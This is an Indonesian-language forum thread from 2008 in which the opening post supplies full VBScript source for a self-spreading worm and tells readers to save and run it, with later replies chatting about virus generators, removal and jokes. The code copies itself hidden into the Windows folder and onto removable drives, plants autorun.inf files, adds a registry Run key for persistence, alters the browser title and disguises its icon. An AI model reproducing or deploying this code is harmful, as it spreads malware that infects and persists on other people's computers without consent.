IndeksCalendarFAQPencarianAnggotaGroupPendaftaranLogin

Share | 
 

 VIRUS VBS SEDERHANA

Topik sebelumnya Topik selanjutnya Go down 
PengirimMessage
richie_mang2000
Tim Penghibur
Tim Penghibur


Jumlah posting : 573
Join date : 05.03.08
Age : 32
Lokasi : bandoeng - kopo - bale endah

PostSubyek: VIRUS VBS SEDERHANA   Wed Mar 19, 2008 11:10 am

Laughing mau jadi penjahat neeh ceritanya Evil or Very Mad

Kalo viper, itu pake html ini langsung aja pake vbs. Kalo viper membuat windownya banyak jadinya memorinya banyak jadinya lamban. kalo ini nginfeksi Very Happy

buka notepad lalu ketikan code di bawah ini :

Quote :
Code:
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath&"\MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked by Andre Susanto"
rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname


Simpan dengan nama (Misalkan) TesScript.vbs (Harus ada .vbs nya [formatnya vbs])

Buka file buatan anda tadi

Kerusakan tidak ditanggung ;))
Kembali Ke Atas Go down
Lihat profil user http://mangsani.net78.net
invorno2212
Rektor
Rektor


Jumlah posting : 460
Join date : 07.03.08
Lokasi : bdg euy

PostSubyek: Re: VIRUS VBS SEDERHANA   Wed Mar 19, 2008 6:48 pm

Crying or Very sad Crying or Very sad alah ciah jadi rusak

No No tanggung jawab ah piuh piuh
Kembali Ke Atas Go down
Lihat profil user http://iwancastle.wordpress.com/
vai_ieky
Tim penghibur
Tim penghibur


Jumlah posting : 568
Join date : 07.03.08
Age : 34
Lokasi : Majalaya - Bandung

PostSubyek: Re: VIRUS VBS SEDERHANA   Sat Mar 22, 2008 11:51 am

naha cara ngabenerkeun na teu ditulis
Kembali Ke Atas Go down
Lihat profil user http://www.facebook.com/vai.ieky
richat
Tim penghibur
Tim penghibur


Jumlah posting : 599
Join date : 08.04.08
Age : 34
Lokasi : banyak

PostSubyek: Re: VIRUS VBS SEDERHANA   Tue Apr 08, 2008 8:12 am

mungkin kalo boleh sayah tambahkan yahhhh
sebenernya sih kalo menurut pemerkosaan sayah
jenis trens ayeuna parantos kanu vbs kusabab nya kitu weh
jenis virus iyeu dihasilkeun ku sebuah program Virus Generator anu dinamian Vir.VBS Generator ku anu ngadameul na. Program iyeu dijiyeun ngagunakeun Visual Basic. Ukuran ti program eta cukup alit, sekitar 64.512 bytes ti kaayaan terkompresi ngagunakeun UPX. Generator iyeu ngaklaim dapat ngahasilkeun virus jenis VBScript anu bisa sabaraha kemampuan siga stealth, encryption, time-bomb nepi ka polymorphic. Virus anu dihasilkeun parantos cekap seueur sareung terbukti menyebar, maka tidak heran ia menduduki peringkat pertama di 10 virus teratas periode ayeuna. virus anu didameul nganggo Visual Basic iyeu ngaggunakeunn icon mirip folder standar Windows jang ngalakukan penyamarannya. sabaraha ulahna nukeur keun fungsi tombol mouse kiri dengan kanan, ngaleungitkeun menu Folder Options, ngadameul file pesan “tinggali_uing.txt” dinu drive terjangkit, jeung masih aya anu lain na.
poko na mah panjang di caritakeun mah eta ge duka salah duka heunteu
tapi amun bade ngadameul mah selamat berkreasi wehnya
hihihihihihihihihi Very Happy
Kembali Ke Atas Go down
Lihat profil user
tchaberry
Rektor
Rektor


Jumlah posting : 662
Join date : 15.03.08
Age : 29
Lokasi : bale'endang berjaia .. hheu

PostSubyek: Re: VIRUS VBS SEDERHANA   Thu Apr 10, 2008 6:41 am

abi pirus da
Kembali Ke Atas Go down
Lihat profil user
adew_SardeW
Tim penghibur
Tim penghibur


Jumlah posting : 860
Join date : 05.03.08
Age : 30
Lokasi : Ls 20 derajat-Bt 23 derajat-Lu 32 derajat East Bandung

PostSubyek: Re: VIRUS VBS SEDERHANA   Thu Apr 10, 2008 7:43 am

Ari ngamodaran eta virus kumaha kang richat sambera Question
Kembali Ke Atas Go down
Lihat profil user http://profiles.friendster.com/sardew
richat
Tim penghibur
Tim penghibur


Jumlah posting : 599
Join date : 08.04.08
Age : 34
Lokasi : banyak

PostSubyek: Re: VIRUS VBS SEDERHANA   Fri Apr 11, 2008 3:19 pm

membunuh firus mah gampang itu gimana anda menilainya
lebih baik pelajari alurnya virus tersebut kemana dia nenyerang
ke system atau ke CHS
apa itu CHS???? cylinder had secor
apapun itu pasti ada obatnya
seperti kata pepatah
hujan ada berhentinya
selama komputer terhubung dengan jaringgan jgn harap bersih akan virus trojan worm dsb....... heot
kalo pengen gak kena virus pake mesin ketik aja yah akwan cun
Kembali Ke Atas Go down
Lihat profil user
richie_mang2000
Tim Penghibur
Tim Penghibur


Jumlah posting : 573
Join date : 05.03.08
Age : 32
Lokasi : bandoeng - kopo - bale endah

PostSubyek: Re: VIRUS VBS SEDERHANA   Fri Apr 11, 2008 4:35 pm

vai_ieky wrote:
naha cara ngabenerkeun na teu ditulis

silahkan anda pake anti virus yang ampuh dan aptudate aja ;))

_________________




Kembali Ke Atas Go down
Lihat profil user http://mangsani.net78.net
richat
Tim penghibur
Tim penghibur


Jumlah posting : 599
Join date : 08.04.08
Age : 34
Lokasi : banyak

PostSubyek: Re: VIRUS VBS SEDERHANA   Fri Apr 11, 2008 5:05 pm

KALO PAKE MIKSAGRIP GIMANA MANG Cool
Kembali Ke Atas Go down
Lihat profil user
adew_SardeW
Tim penghibur
Tim penghibur


Jumlah posting : 860
Join date : 05.03.08
Age : 30
Lokasi : Ls 20 derajat-Bt 23 derajat-Lu 32 derajat East Bandung

PostSubyek: Re: VIRUS VBS SEDERHANA   Fri Apr 11, 2008 7:57 pm

sanghitam wrote:
vai_ieky wrote:
naha cara ngabenerkeun na teu ditulis

silahkan anda pake anti virus yang ampuh dan aptudate aja ;))


Selain pake anti Virus dan updatenna apakah kita bisa membunuh dengan cara kita sendiri mang scratch
Kembali Ke Atas Go down
Lihat profil user http://profiles.friendster.com/sardew
richat
Tim penghibur
Tim penghibur


Jumlah posting : 599
Join date : 08.04.08
Age : 34
Lokasi : banyak

PostSubyek: Re: VIRUS VBS SEDERHANA   Sat Apr 12, 2008 2:13 am

bisa Very Happy
bunuh orang yang buat virusnya kawannnnnnnnnnnnnnnnn:-L:
Kembali Ke Atas Go down
Lihat profil user
dhikdhik_aja
Murid Lama
Murid Lama


Jumlah posting : 49
Join date : 05.06.08

PostSubyek: Re: VIRUS VBS SEDERHANA   Tue Jun 10, 2008 8:01 pm

awas entar dapet imbasnya lho kalu buat virus
tapi kalu untuk pengetahuan aja sich or ga disalah gunain sich aku dukung
Kembali Ke Atas Go down
Lihat profil user
abimanyu
Murid Baru
Murid Baru


Jumlah posting : 2
Join date : 21.02.09

PostSubyek: Re: VIRUS VBS SEDERHANA   Tue Feb 24, 2009 4:51 pm

untung ..... blom jadi tak simpen .....,bos ini ada org jawa ikutan loh ngomong nya yg jelas yah bingung nyeun? dah pusing liat tulisan admin ikutan neun2 huay huay huay
Kembali Ke Atas Go down
Lihat profil user
Sponsored content




PostSubyek: Re: VIRUS VBS SEDERHANA   Today at 7:04 am

Kembali Ke Atas Go down
 
VIRUS VBS SEDERHANA
Topik sebelumnya Topik selanjutnya Kembali Ke Atas 
Halaman 1 dari 1
 Similar topics
-
» Hanya Sebuah Kalimat Sederhana
» [share] Caraku terhindar 100% dari Virus PC & Notebook ( No Deep Freeze )
» black ninja modif sederhana aja
» 10 Virus Paling Berbahaya Bagi Tubuh Kita
» [Blender] How to Cellshading

Permissions in this forum:Anda tidak dapat menjawab topik
 :: sekedar bertukar hoby :: seputar komputer :: Share Ilmu Dan Pengetahuan Komputer-
Navigasi: